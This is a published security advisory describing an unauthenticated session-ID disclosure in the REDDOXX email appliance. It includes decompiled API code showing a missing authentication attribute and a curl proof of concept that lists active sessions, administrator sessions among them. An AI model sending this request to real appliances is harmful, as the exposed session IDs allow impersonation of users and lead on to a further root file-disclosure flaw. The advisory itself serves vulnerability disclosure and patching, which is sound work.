skip to navigation. Skip to the content.
> Advisories > rt-sa-2017-005 vertical divider

Unauthenticated Extraction of Session-IDs in REDDOXX Appliance

RedTeam Pentesting discovered an information disclosure vulnerabilty in the REDDOXX appliance software, which allows unauthenticated attackers to extract valid session IDs.

Details
=======

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-005
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue
from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement."

(from the vendor's homepage)


More Details
============

Through the ISO provided on the vendor's homepage [1], it was possible to analyze the files in a typical REDDOXX appliance [0] installation. Several API endpoints are defined in the Apache webserver configuration file /etc/apache2/sites-enabled/cust-000-reddoxx.conf:

------------------------------------------------------------------------
ProxyPass /RdxEngine/ http://localhost:8001/JSON/ retry=0
ProxyPassReverse /RdxEngine/ http://localhost:8001/JSON/

ProxyPass /RdxEngineBin/ http://localhost:8001/BIN/ retry=0
ProxyPassReverse /RdxEngineBin/ http://localhost:8001/BIN/

# New Rest API Version 1
ProxyPass /api/v1/proxy/ http://localhost:4711/ retry=0
ProxyPassReverse /api/v1/proxy/ http://localhost:4711/

[...]
------------------------------------------------------------------------ 

The endpoint /api/v1/proxy, labelled "New Rest API Version 1", offers several routes, which can normaly only be used by administrators and require authentication.

Through analysis of the .NET binaries pertaining to this endpoint, extracted from the appliance's ISO, the supported routes were examined. In general, the methods handling the routes look similar to the following:

------------------------------------------------------------------------
// Reddoxx.Rest.Proxy.Remote.Service.LegacyServiceProxy
[Authenticate]
public object Any(GetUserListRequest msg)
{
    ApiCommand command = new ApiCommand("GetUserList");
    ApiResult apiResult = this.LegacyClient.SendCommand(command);
    [...]
}
------------------------------------------------------------------------ 

Most of them contain, in particular, the attribute 'Authenticate'. RedTeam Pentesting assumes that this attribute is used to inform the underlying framework that authentication is required in order to access this method.

During further analysis of the methods handling the routes, the method handling request messages of type 'GetSessionListRequest' was found:

------------------------------------------------------------------------
// Reddoxx.Rest.Proxy.Remote.Service.LegacyServiceProxy
public object Any(GetSessionListRequest msg)
{
    ApiCommand command = new ApiCommand("GetSessionsList");
    ApiResult apiResult = this.LegacyClient.SendCommand(command);
    [...]
}
------------------------------------------------------------------------ 

This method returns a list of currently active sessions and did not contain the aforementioned attribute. Examination of the 'GetSessionListRequest' type showed the route associated with the method:

------------------------------------------------------------------------
namespace Reddoxx.Rest.Proxy.Remote.Messages
{
    [Route("/sessions", "GET")]
    public class GetSessionListRequest :
    IReturn<GetSessionListResponse>, IReturn
        {
        }
}
------------------------------------------------------------------------ 

Accessing this route on the appliance yields a list of active sessions. No authentication is required for this access.


Proof of Concept
================

The following curl command-line can be used to trigger the vulnerability and access the list of current sessions:

------------------------------------------------------------------------
$ curl --silent http://www.example.com/api/v1/proxy/sessions | jq .
{
  "Data": [
    {
      "Id": "XXXXXXXX",
      "SessionType": "Console",
      "IPAddress": "127.0.0.1",
      "Details": "rdx-build-in-service-user@local"
    },
    {
      "Id": "XXXXXXXX",
      "SessionType": "Console",
      "IPAddress": "127.0.0.1",
      "Details": "rdx-build-in-service-user@local"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:26:17"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "Info@[...] Last access: 22-5-17 09:53:21"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "Administrator@[...] Last access: 22-5-17 10:09:30"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:11:19"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "rdx-build-in-service-user@local Last access: 22-5-17 13:13:19"
    }
  ]
}
------------------------------------------------------------------------ 

The tool jq [2] is used to format the JSON output returned by the appliance's API.


Workaround
==========

None


Fix
===

Update the appliance software to Version 2032 SP2.


Security Risk
=============

The risk of this vulnerability is estimated to be high. The extracted session IDs can be used by attackers to impersonate the user associated with the ID when interacting with the appliance. An authenticated session is also a precondition to exploit the vulnerability described in rt-sa-2017-006 [3], which allows arbitrary file disclosure as root. 


Timeline
========

2017-05-16 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-06-21 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released


References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
(Requires login)
[2] https://stedolan.github.io/jq/
[3] https://www.redteam-pentesting.de/advisories/rt-sa-2017-006


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. 

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting GmbH is looking for more penetration testers to join our team. If you are interested in working for RedTeam Pentesting in Aachen, please visit the respective section of our website.